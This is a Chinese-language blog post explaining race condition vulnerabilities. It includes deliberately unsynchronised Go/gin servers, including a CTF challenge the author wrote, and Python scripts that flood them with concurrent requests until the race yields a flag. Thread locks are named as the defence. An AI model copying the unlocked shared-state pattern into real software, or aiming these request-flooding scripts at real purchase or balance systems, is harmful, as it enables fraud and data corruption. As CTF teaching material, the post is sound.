• 1. Stay - Post
  • 2. Circles - Post
  • 3. Hollywood's_Bleeding - Post
  • 4. A_Thousand_Bad_Times - Post

从零开始理解条件竞争漏洞

前言

打CTF时遇到过几次条件竞赛漏洞,但是当时并不知道为什么是条件竞争漏洞,但比赛没有开放源码,只能自己研究了,因此才有本文,可能理解的也没有大牛深刻,见谅.

概念

翻阅很多文章似乎对条件竞争的定义都非常一致,即两个并发执行线程以某种方式无意地产生不同结果的方式访问共享资源,从字面意义来讲比较抽象,我们假设一个场景来帮助理解条件竞争,假设有三个线程,他们作用都是使一个全局变量的值+1,现在他们同时请求,下面是图示:

这里的共享资源其实就是我们的全局变量g,当然他还可以是函数对象等类型的数据,而返回的g!=3实际上就是条件竞争成功的结果了,那么为何会出现这样的结果呢?原理大概是这样的

注意以下条件竞争的条件:

  1. 并发,多线程等并发应用场景才会出现条件竞争,举个例子比如说使用apache作为服务器,apache中如果两个请求同时出现,他们最终会同时在多核cpu上执行
  2. 共享资源,就比如本例中的全局变量,这个共享资源需要能够在各线程之间流通..
  3. 改变共享资源内容,这里的操作就是简单的全局变量+1

实例理解

我们可以用以下代码来简化条件竞争在web应用中存在的问题:

package main

import (
    "fmt"
    "github.com/gin-gonic/gin"
    "strconv"
)

func main() {
    g := 0
    router := gin.Default()
    router.GET("/", func(c *gin.Context) {
        num,_ := strconv.Atoi(c.DefaultQuery("add","0"))
        g = g + num
        fmt.Println(g)
    })
    router.Run(":8080")
}

这里创建用Go语言创建了一个简单的web应用,具体也就是用GET请求参数add的时候,直接将g加上add对应的数字而已,然后我们使用一下脚本去测试条件竞争,看看返回结果如何:

import requests
import threading

url = "http://127.0.0.1:8080/?add=1"
threads = 25

def go():
    for i in range(20):
        r = requests.get(url)

for i in range(threads):
    t = threading.Thread(target=go)
    t.start()
for i in range(threads):
    t.join()

这里我们用python创建了25个进程,每个进程循环请求http://127.0.0.1:8080/?add=120次,所以如果中途没有出现差错的话,最后g的结果应该为500(25*20),但事实上并非如此,最后结果显示g=496,这意味着有部分线程的传值出现了条件竞争,所以产生了非预期的结果:

我们可以看到有部分请求实际上是请求成功了,但服务器器自动忽略了一些请求。

具体场景

直接的一个场景就是买东西的时候,我们可以抽象出一个简化的场景模型,如下图所示:

我们构建了这样一个模型,最下面的是购买的请求,服务器处理这些请求之后,将结果发送给数据库更新,然后将这些更新的结果发送给服务器现显示给用户,现在我们假设有多个购买物品的请求(由同一账号发出),如果这个账号的请求有很多个,那么可能会出现以下情况:

  1. 钱给了货没到,说明更新货物数量的地方出现了条件竞争
  2. 货到了钱没给够,说明更新钱的地方出现了条件竞争
  3. 钱货两清

    例题:

    自己在团队里面,出了一道条件竞争了解性的题目,太简单了大佬误喷,具体代码如下:

    package main
    
    import (
        "fmt"
        "github.com/gin-gonic/gin"
        "io/ioutil"
        "os"
        "strconv"
    )
    
    func ReadFlag()(string,error){
        dir, err := os.Getwd()
        if err != nil {
            fmt.Println(err)
        }
        R_Flag, err := ioutil.ReadFile(dir+"/flag")
        if err != nil {
            fmt.Println(err)
            return string(R_Flag),err
        }
        return string(R_Flag),err
    }//这里只是读flag
    
    func change_num(u,g *int,add int){
        if add<=20 && add > 0 {
            *g += add
            *u += add
        }else {
            add = 1
            *g += add
            *u += add
        }
        if *g >= 500 || *u >= 500 {
            *g = 0
            *u = 0
        }
    }
    
    func main() {
        var g int = 0
        YourFlag, _ := ReadFlag()
        router := gin.Default()
        router.GET("/", func(c *gin.Context) {
            num, _ := strconv.Atoi(c.DefaultQuery("add", "1"))
            temp := g
            change_num(&g,&temp,num)
            fmt.Println(temp,g)
            if temp != g {
                c.JSON(200,gin.H{
                    "flag" : YourFlag,
                })
            }else {
                c.JSON(200,gin.H{
                    "message": "你与flag擦肩而过",
                })
            }
        })
        router.Run(":8080")
    }

读读源码,读flag的函数基本可以忽略,这里得到flag的条件很简单,只需要tempg不相等即可,但我们看看change_num()函数发现tempg进行的是一模一样的操作,在大多数情况tempg是相等的,当然发生条件竞争就不一定了,我们稍微改改上面的脚本,再查看一下返回结果

import requests
import threading

url = "http://*****(题目地址)/?add=1"
threads = 25

def go():
    for i in range(50):
        r = requests.get(url)
        if "snert{" in r.text:
            print(r.text)
            
for i in range(threads):
    t = threading.Thread(target=go)
    t.start()
for i in range(threads):
    t.join()

返回结果为:

最后说明一下条件竞争出现一个重要条件高并发环境,这意味着你多线程发包时需要良好的网络环境,才能保证此刻服务器环境为高并发。

总结一下出现条件,高并发且线程能够访问同一个全局变量时会出现条件竞争

有关防御

最好最简单的方法就是启用线程锁了,线程锁保证了在这个线程进行操作时,其他线程不会来捣乱,上述代码一个解决方案就是启用线程锁


除非注明,ebounce文章均为原创,转载请以链接形式标明本文地址

本文地址:http://ebounce.cn/web/54.html

新评论

captcha
请输入验证码